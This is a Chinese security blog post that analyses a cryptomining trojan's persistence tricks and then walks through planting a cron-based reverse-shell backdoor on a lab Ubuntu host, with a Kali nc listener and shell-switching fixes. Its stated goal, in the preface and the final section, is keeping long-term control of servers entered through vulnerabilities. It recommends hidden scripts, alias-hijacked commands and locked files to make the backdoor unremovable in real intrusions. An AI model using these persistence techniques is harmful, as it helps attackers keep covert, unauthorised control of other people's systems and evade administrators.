以下文章来源于雷神众测,作者kevil
No.1 声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。 雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
No.2 前言
在通过漏洞打入对方服务器后,如果痕迹没有清除干净或者在实施侵入的同时会有防火墙、waf(某云盾)等安全产品发出警报,比如某云服务器会直接发送邮件告知管理员,服务器被一个陌生IP登录,这时管理员可能会警觉,可能最直接的方式就是将22、3389等端口放入内网或直接关闭,如果想要获取对方长久的控制权,我们需要在其服务器中埋下稳定的后门,比如通过定时任务 crontab 反弹 shell,启发来源于挖矿脚本。
No.3 挖矿木马分析结果
阶段1
1.关闭防火墙和selinux。
2.释放掉被系统Cache占用的数据:sync && echo 3 >/proc/sys/vm/drop_caches,获得更多计算资源。
这里是矿机的CPU占用情况
3.配置crond定时任务以及授权密钥的路径。
4.定义一些变量,扰乱系统程序,干扰其它挖矿程序。
5.配置定时更新木马的文件,比如sysupdate,update.sh。
通过威胁情报平台确认de.gsearch.com.de域名为攻击者散播挖矿脚本的恶意域名。
阶段2
ps获取运行的进程,grep屏蔽掉自己,然后grep其它挖矿程序,awk获取进程编号,kill -9 强制杀掉。
阶段3
定义一个函数,调用curl,wget远程下载挖矿脚本。
阶段4
定时写入公钥,实现免密登录。
阶段5
给木马文件加锁,防止被修改或者删除。
阶段6
修改防火墙配置。
阶段7
清理入侵痕迹。
阶段8
劫持系统进程以及命令(比如ls,cd等常用命令,后期还会劫持sshd)。
从这个阶段开始分析服务器中存在的另外一个挖矿脚本,可以看出本人通过crontab -r 后任然无法删除定时任务,这里可能有两种原因:
1.有其他定时任务还在不断写入下载挖矿脚本的命令。
2.系统命令和系统进程被劫持,一旦被劫持的系统进程或命令生效,挖矿木马再次激活。
通过busybox尝试恢复被劫持的系统命令和进程后,重启服务器,重新登录服务器后依然有病毒进程被拉起,怀疑登录时加载的服务存在问题,最后终于发现/etc/bashrc 存在挖矿木马下载命令。
/etc/bashrc:为每一个运行bash shell的用户执行此文件,当bash shell被打开时,该文件被读取。所以重启后,挖矿脚本会继续下载。
网上资料的搜集(关于该类型挖矿木马的感染过程):
主进程操作
1.添加至开机启动,以及/etc/bashrc
2.生成了sshd文件 劫持sshd服务
3.将netdns文件设置为开机启动
4.编译libcryptod.c为/usr/local/lib/libcryptod.so
5.预加载动态链接库,恶意hook关键系统操作函数
6.修改/etc/cron.d/root文件,增加定时任务
7.拉起khugepageds挖矿进程。
No.4 笔者的辛酸删马环节
1.Ubuntu16.04写入定时任务反弹shell
测试环境
攻击机:kali-linux-2019.3,IP:192.168.101.153
靶机:Ubuntu16.04LTS,IP:192.168.101.142
2.测试时出现的问题:
crontab -e写入反弹shell,kali攻击机nc -lvvp 8888一直接收不到连接,service cron status,报错:
CRON: pam_unix(cron:session): session opened for user root by (uid=0)
CRON: pam_unix(cron:session): session closed for user root
解决:vi /etc/pam.d/common-session-noninteractive
在session required pam_unix.so
上方添加以下内容:
session [success=1 default=ignore] pam_succeed_if.so service in cron quiet use_uid
service cron restart
service cron status(报错已解决,但是kali任然无法收到反弹shell)
好像有错误信息:CRON[3901]: (CRON) info (No MTA installed, discarding output)
第一种方法:sudo apt-get install postfix
报错没有了,但是还是接收不到shell
换第二种方法
首先修改一下计划任务
然后我们过一分钟去文件error.txt查看报错信息
该错误信息的意思大概是:/bin/bash没有被找到,bash后面的”>& /dev/tcp/…”被当作系统文件或目录了,并没有通过binbash命令执行。linux里面的cron中命令执行的shell环境是/bin/sh,我们看一下/bin/sh文件的属性,发现/bin/sh其实是一个软连接,指向dashshell。
Ubuntu6.10已将先前默认的bashshell更换为了dashshell。Debian和Ubuntu中,/bin/sh默认已经指向dash,这是一个不同于bash的shell,它主要是为了执行脚本而出现,而不是交互,它速度更快,但功能相比bash要少很多,语法严格遵守POSIX标准。因为缺少了binbash的交互特性,所以kali中弹不回shell可以得到很好的解释了。
1.如果是 Dash 可用以下方法切回 Bash
方法一:修改默认脚本解释语言为bash
sudo dpkg-reconfigure dash(选择 NO)
$ sudo dpkg-reconfigure dash
Removing 'diversion of /bin/sh to /bin/sh.distrib by dash'
Adding 'diversion of /bin/sh to /bin/sh.distrib by bash'
Removing 'diversion of /usr/share/man/man1/sh.1.gz to /usr/share/man/man1/sh.distrib.1.gz by dash'
Adding 'diversion of /usr/share/man/man1/sh.1.gz to /usr/share/man/man1/sh.distrib.1.gz by bash'
然后ls -l /bin/sh确认软连接指向bashshell即可,我采取的是第二种方式。
方法二:直接修改sh的软链接为bash。
sudo ln -fs /bin/bash /bin/s
此时kali正常弹回shell:
此外,除了通过crontab -e直接写入bash之外,我们还可以通过创建定时文件/etc/crontabshell,然后通过crontab -e调用该shell脚本:
* * * * * /etc/crontabshell,
crontab -e
vi /etc/crontabshell
chmod 777 /etc/crontabshell
此时kali再次弹回shell:
No.5 实战中的应用
真实的渗透环境中,我们可以调用多个文件去执行反弹shell,你也可以设置隐藏属性的shell脚本文件,或者alias劫持一些系统命令,给定时文件加锁。结合挖矿木马的特性,可达到不死马的效果。
END